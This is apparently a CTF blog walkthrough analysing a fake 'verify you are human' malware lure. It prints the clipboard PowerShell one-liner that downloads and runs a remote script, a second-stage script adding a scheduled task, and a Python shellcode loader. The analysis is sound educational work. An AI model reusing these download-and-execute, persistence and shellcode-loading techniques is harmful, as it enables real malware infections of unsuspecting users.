# Verify you are human - CTF challenge

Table of Contents

Challenge informations

  • Name: Verify You Are Human
  • Category: 🐞 Malware
  • Author: John Hammond

The walkthrough

The challenge starts with a webpage with a verify you are not a robot form, it prompts us to press win+R then Ctrl+V then Enter to verify.

Verify you are not a robot prompt
The verify you are not a robot prompt

The script that got copied to the clipboard is the following:

payload1.ps1
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe"
-Wi HI -nop -c
"$UkvqRHtIr=$env:LocalAppData+'\'+(Get-Random -Minimum 5482 -Maximum 86245)+'.PS1';"
+"irm 'http://217f6c95.proxy.coursestack.com:443/?tic=1'> $UkvqRHtIr;powershell -Wi HI -ep bypass -f $UkvqRHtIr"

It starts a powershell process with a hidden window and no profile and evaluates the command after the -c argument, the evaluated command downloads a file from http://217f6c95.proxy.coursestack.com/?tic=1 and saves it into a file under the local appdata having a random name with the .PS1 extension, then invokes it.

visiting this endpoint returns the following script after a little cleaning we end up with:

payload2.ps1
$pycExtension = '.pyc';
$guid = [guid]::NewGuid();
$OIEOPTRJGS = $env:LocalAppData;
irm 'http://217f6c95.proxy.coursestack.com/?tic=2' -OutFile $OIEOPTRJGS\$guid.pdf;
Add-Type -AssemblyName System.IO.Compression.FileSystem;
[System.IO.Compression.ZipFile]::ExtractToDirectory("$OIEOPTRJGS\$guid.pdf", "$OIEOPTRJGS\$guid");
$PIEVSDDGs = Join-Path $OIEOPTRJGS $guid;
$WQRGSGSD = "$guid";
$RSHSRHSRJSJSGSE = "$PIEVSDDGs\pythonw.exe";
$RYGSDFSGSH = "$PIEVSDDGs\cpython-3134.pyc";
$ENRYERTRYRNTER = New-ScheduledTaskAction -Execute $RSHSRHSRJSJSGSE -Argument "`"$RYGSDFSGSH`"";
$TDRBRTRNREN = (Get-Date).AddSeconds(180);
$YRBNETMREMY = New-ScheduledTaskTrigger -Once -At $TDRBRTRNREN;
$KRYIYRTEMETN = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive -RunLevel Limited;
Register-ScheduledTask -TaskName $WQRGSGSD -Action $ENRYERTRYRNTER -Trigger $YRBNETMREMY -Principal $KRYIYRTEMETN -Force;
Set-Location $PIEVSDDGs;
$WMVCNDYGDHJ = "cpython-3134" + $pycExtension;
Rename-Item -Path "cpython-3134" -NewName $WMVCNDYGDHJ;
iex ('rundll32 shell32.dll,ShellExec_RunDLL "' + $PIEVSDDGs + '\pythonw" "' + $PIEVSDDGs + '\'+ $WMVCNDYGDHJ + '"');
Remove-Item $MyInvocation.MyCommand.Path -Force;
Set-Clipboard

The second payload downloads another file and saves it to appdata/<GENERATED-GUID>.pdf then decompresses the zip into the same directory and runs the compiled python application named cpython-3134.pyc.

After downloading and extracting the zip file, I decompiled the cpython-3134.pyc file using pylingual and I got the following:

payload3.py
import ctypes
def xor_decrypt(ciphertext_bytes, key_bytes):
decrypted_bytes = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(ciphertext_bytes):
decrypted_byte = byte ^ key_bytes[i % key_length]
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)
shellcode = bytearray(xor_decrypt(base64.b64decode('zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2buDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='), base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fn = functype(ptr)
fn()

This script decrypts shell code, then allocates memory the size of the payload using VirtualAlloc, copies the content of the shellcode to the allocated memory using RtlMoveMemory, and finally casts the shellcode function to the correct function type then calls the function.

To decrypt the shellcode I went to cyberchef and set the following operations:

Decrypting Shellcode
Decrypting shellcode using cyberchef

Decrypted shellcode in hexadecimal format
55 89 e5 81 ec 80 47 db 97 68 93 d8 84 84 68 90 c3 c6 97 68 c3 90 93 92 68 90 c4 c3 c7 68 9c 93 9c 93 68 c0 9c c6 c6 68 97 c6 9c 93 68 94 c7 9d c1 68 de c1 96 91 68 c3 c9 c4 c2 b9 0a 95 f9 9a 89 e7 81 37 a5 a5 a5 a5 83 c7 04 49 75 f4 c6 44 24 26 cd c6 85 7f ff ff ff ee 89 e6 8d 7d 80 b9 26 4f 3c ee 8a 06 88 07 46 47 49 75 f7 c6 07 ee 8d 3c 24 b9 40 db 97 4f b0 01 88 07 47 49 75 fa c9 c3

Taking this result and decompiling it using defuse.ca disassembler using the x86 architecture, I had the following instructions:

0: 55 push ebp
1: 89 e5 mov ebp,esp
3: 81 ec 80 47 db 97 sub esp,0x97db4780
9: 68 93 d8 84 84 push 0x8484d893
e: 68 90 c3 c6 97 push 0x97c6c390
13: 68 c3 90 93 92 push 0x929390c3
18: 68 90 c4 c3 c7 push 0xc7c3c490
1d: 68 9c 93 9c 93 push 0x939c939c
22: 68 c0 9c c6 c6 push 0xc6c69cc0
27: 68 97 c6 9c 93 push 0x939cc697
2c: 68 94 c7 9d c1 push 0xc19dc794
31: 68 de c1 96 91 push 0x9196c1de
36: 68 c3 c9 c4 c2 push 0xc2c4c9c3
3b: b9 0a 95 f9 9a mov ecx,0x9af9950a
40: 89 e7 mov edi,esp
42: 81 37 a5 a5 a5 a5 xor DWORD PTR [edi],0xa5a5a5a5
48: 83 c7 04 add edi,0x4
4b: 49 dec ecx
4c: 75 f4 jne 0x42
4e: c6 44 24 26 cd mov BYTE PTR [esp+0x26],0xcd
53: c6 85 7f ff ff ff ee mov BYTE PTR [ebp-0x81],0xee
5a: 89 e6 mov esi,esp
5c: 8d 7d 80 lea edi,[ebp-0x80]
5f: b9 26 4f 3c ee mov ecx,0xee3c4f26
64: 8a 06 mov al,BYTE PTR [esi]
66: 88 07 mov BYTE PTR [edi],al
68: 46 inc esi
69: 47 inc edi
6a: 49 dec ecx
6b: 75 f7 jne 0x64
6d: c6 07 ee mov BYTE PTR [edi],0xee
70: 8d 3c 24 lea edi,[esp]
73: b9 40 db 97 4f mov ecx,0x4f97db40
78: b0 01 mov al,0x1
7a: 88 07 mov BYTE PTR [edi],al
7c: 47 inc edi
7d: 49 dec ecx
7e: 75 fa jne 0x7a
80: c9 leave
81: c3 ret

The instruction at the address 0x42 is a xor instruction between the value 0xa5a5a5a5 and the contents of the stack that was initialized from 0x9 to 0x36.

Again using cyberchef I xor’ed the content of the stack with the key 0xa5 and I got the flag reversed so I added the reverse operation and ended up with the flag:

Next: Sigma Linter - CTF challenge

Thanks for reading my blog post! Feel free to check out my other posts!


huntress CTF 2025 Series